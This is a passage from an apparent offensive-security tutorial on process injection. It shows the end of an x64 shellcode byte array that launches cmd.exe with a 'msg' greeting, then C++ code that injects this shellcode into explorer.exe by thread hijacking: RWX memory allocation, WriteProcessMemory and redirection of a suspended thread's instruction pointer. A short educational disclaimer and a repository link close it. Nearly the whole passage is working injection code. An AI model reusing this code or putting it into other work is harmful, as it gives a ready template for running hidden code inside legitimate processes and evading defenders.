0x5C, 0x00, 0x48, 0x89, 0x45, 0x60, 0x48, 0xB8, 0x43, 0x00, 0x3A, 0x00,
0x5C, 0x00, 0x57, 0x00, 0x48, 0x89, 0x45, 0x68, 0x48, 0xB8, 0x69, 0x00,
0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x48, 0x89, 0x45, 0x70, 0x48, 0xB8,
0x77, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x53, 0x00, 0x48, 0x89, 0x45, 0x78,
0x48, 0xB8, 0x79, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x48, 0x89,
0x85, 0x80, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x6D, 0x00, 0x33, 0x00, 0x32,
0x00, 0x5C, 0x00, 0x48, 0x89, 0x85, 0x88, 0x00, 0x00, 0x00, 0x48, 0xB8,
0x63, 0x00, 0x6D, 0x00, 0x64, 0x00, 0x2E, 0x00, 0x48, 0x89, 0x85, 0x90,
0x00, 0x00, 0x00, 0x48, 0xB8, 0x65, 0x00, 0x78, 0x00, 0x65, 0x00, 0x00,
0x00, 0x48, 0x89, 0x85, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x55, 0x60,
0x48, 0x8D, 0x8D, 0x18, 0x02, 0x00, 0x00, 0xFF, 0x95, 0x10, 0x02, 0x00,
0x00, 0x48, 0xB8, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00, 0x5C, 0x00, 0x48,
0x89, 0x85, 0xA0, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x43, 0x00, 0x3A, 0x00,
0x5C, 0x00, 0x57, 0x00, 0x48, 0x89, 0x85, 0xA8, 0x00, 0x00, 0x00, 0x48,
0xB8, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x48, 0x89, 0x85,
0xB0, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x77, 0x00, 0x73, 0x00, 0x5C, 0x00,
0x53, 0x00, 0x48, 0x89, 0x85, 0xB8, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x79,
0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x48, 0x89, 0x85, 0xC0, 0x00,
0x00, 0x00, 0x48, 0xB8, 0x6D, 0x00, 0x33, 0x00, 0x32, 0x00, 0x5C, 0x00,
0x48, 0x89, 0x85, 0xC8, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x63, 0x00, 0x6D,
0x00, 0x64, 0x00, 0x2E, 0x00, 0x48, 0x89, 0x85, 0xD0, 0x00, 0x00, 0x00,
0x48, 0xB8, 0x65, 0x00, 0x78, 0x00, 0x65, 0x00, 0x20, 0x00, 0x48, 0x89,
0x85, 0xD8, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x2F, 0x00, 0x6B, 0x00, 0x20,
0x00, 0x6D, 0x00, 0x48, 0x89, 0x85, 0xE0, 0x00, 0x00, 0x00, 0x48, 0xB8,
0x73, 0x00, 0x67, 0x00, 0x20, 0x00, 0x2A, 0x00, 0x48, 0x89, 0x85, 0xE8,
0x00, 0x00, 0x00, 0x48, 0xB8, 0x20, 0x00, 0x48, 0x00, 0x65, 0x00, 0x6C,
0x00, 0x48, 0x89, 0x85, 0xF0, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x6C, 0x00,
0x6F, 0x00, 0x20, 0x00, 0x66, 0x00, 0x48, 0x89, 0x85, 0xF8, 0x00, 0x00,
0x00, 0x48, 0xB8, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x20, 0x00, 0x48,
0x89, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0xB8, 0xF4, 0x00, 0x66, 0x00,
0x66, 0x00, 0x65, 0x00, 0x48, 0x89, 0x85, 0x08, 0x01, 0x00, 0x00, 0x48,
0xB8, 0x6E, 0x00, 0x73, 0x00, 0x69, 0x00, 0x76, 0x00, 0x48, 0x89, 0x85,
0x10, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00,
0x61, 0x00, 0x48, 0x89, 0x85, 0x18, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6E,
0x00, 0x64, 0x00, 0x61, 0x00, 0x00, 0x00, 0x48, 0x89, 0x85, 0x20, 0x01,
0x00, 0x00, 0x48, 0xC7, 0x85, 0x28, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x48, 0x8D, 0x95, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x28,
0x02, 0x00, 0x00, 0xFF, 0x95, 0x10, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x85,
0x38, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x50,
0x01, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x48, 0x00, 0x00, 0x00,
0x00, 0x48, 0xC7, 0x44, 0x24, 0x40, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7,
0x44, 0x24, 0x38, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x30,
0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x00,
0x00, 0x48, 0x8D, 0x85, 0x28, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24,
0x20, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x48, 0x8D, 0x95, 0x18, 0x02,
0x00, 0x00, 0x48, 0x8D, 0x8D, 0x38, 0x02, 0x00, 0x00, 0xFF, 0x95, 0x00,
0x02, 0x00, 0x00, 0x48, 0x8D, 0x85, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8B,
0xF8, 0x33, 0xC0, 0xB9, 0x58, 0x00, 0x00, 0x00, 0xF3, 0xAA, 0x48, 0xC7,
0x85, 0x40, 0x02, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0xC7, 0x85, 0x48,
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00,
0x48, 0x6B, 0xC0, 0x01, 0x41, 0xB8, 0x20, 0x00, 0x00, 0x00, 0xBA, 0x08,
0x00, 0x00, 0x00, 0x48, 0x8B, 0x4D, 0x00, 0x48, 0x8B, 0x4C, 0x01, 0x28,
0xFF, 0x95, 0xF8, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xA0, 0x02, 0x00,
0x00, 0x48, 0x8B, 0x85, 0xA0, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x00, 0x28,
0x00, 0x00, 0x00, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00,
0x48, 0x8B, 0x8D, 0xA0, 0x02, 0x00, 0x00, 0xC7, 0x44, 0x01, 0x08, 0x05,
0x00, 0x02, 0x00, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00,
0x0F, 0xB7, 0x8D, 0x18, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x95, 0xA0, 0x02,
0x00, 0x00, 0x48, 0x89, 0x4C, 0x02, 0x10, 0xB8, 0x20, 0x00, 0x00, 0x00,
0x48, 0x6B, 0xC0, 0x00, 0x48, 0x8B, 0x8D, 0xA0, 0x02, 0x00, 0x00, 0x48,
0x8B, 0x95, 0x20, 0x02, 0x00, 0x00, 0x48, 0x89, 0x54, 0x01, 0x18, 0x48,
0xC7, 0x85, 0xB0, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B,
0x85, 0xA0, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x50, 0x48, 0x8D,
0x85, 0x40, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8B,
0x85, 0x38, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x40, 0xC7, 0x44,
0x24, 0x38, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x30, 0x00, 0x00,
0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x00, 0x00, 0x48,
0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0x41, 0xB9, 0xFF, 0xFF,
0x1F, 0x00, 0x41, 0xB8, 0xFF, 0xFF, 0x1F, 0x00, 0x48, 0x8D, 0x95, 0xB0,
0x02, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0xA8, 0x02, 0x00, 0x00, 0xFF, 0x95,
0x08, 0x02, 0x00, 0x00, 0x89, 0x85, 0xB8, 0x02, 0x00, 0x00, 0x48, 0xB8,
0x4E, 0x74, 0x53, 0x75, 0x73, 0x70, 0x65, 0x6E, 0x48, 0x89, 0x45, 0x10,
0x48, 0xB8, 0x64, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00, 0x48, 0x89,
0x45, 0x18, 0x48, 0x8D, 0x55, 0x10, 0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00,
0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xC0, 0x02,
0x00, 0x00, 0x33, 0xD2, 0x48, 0xC7, 0xC1, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF,
0x95, 0xC0, 0x02, 0x00, 0x00, 0x48, 0x8D, 0xA5, 0x58, 0x03, 0x00, 0x00,
0x5F, 0x5D, 0xC3 };
std::wstring processName = L"explorer.exe"; // Replace with your process name
DWORD pid = GetProcessIdByName(processName);
if (pid != 0) {
phandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
rBuffer = VirtualAllocEx(phandle, NULL, sizeof bomb, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(phandle, rBuffer, bomb, sizeof bomb, NULL);
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
Thread32First(snapshot, &tEntry);
while (Thread32Next(snapshot, &tEntry))
{
if (tEntry.th32OwnerProcessID == pid)
{
tHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, tEntry.th32ThreadID);
break;
}
}
SuspendThread(tHijacked);
GetThreadContext(tHijacked, &context);
context.Rip = (DWORD_PTR)rBuffer;
SetThreadContext(tHijacked, &context);
ResumeThread(tHijacked);
}
else {
std::wcout << L"Process " << processName << L" not found." << std::endl;
}
return 0;
}
Demonstration
For GitHub-Repo Click Here: Offensive-Panda/ProcessInjectionTechniques
Disclaimer
The content provided on this series is for educational and informational purposes only. It is intended to help users understand cybersecurity concepts and techniques for improving security defenses!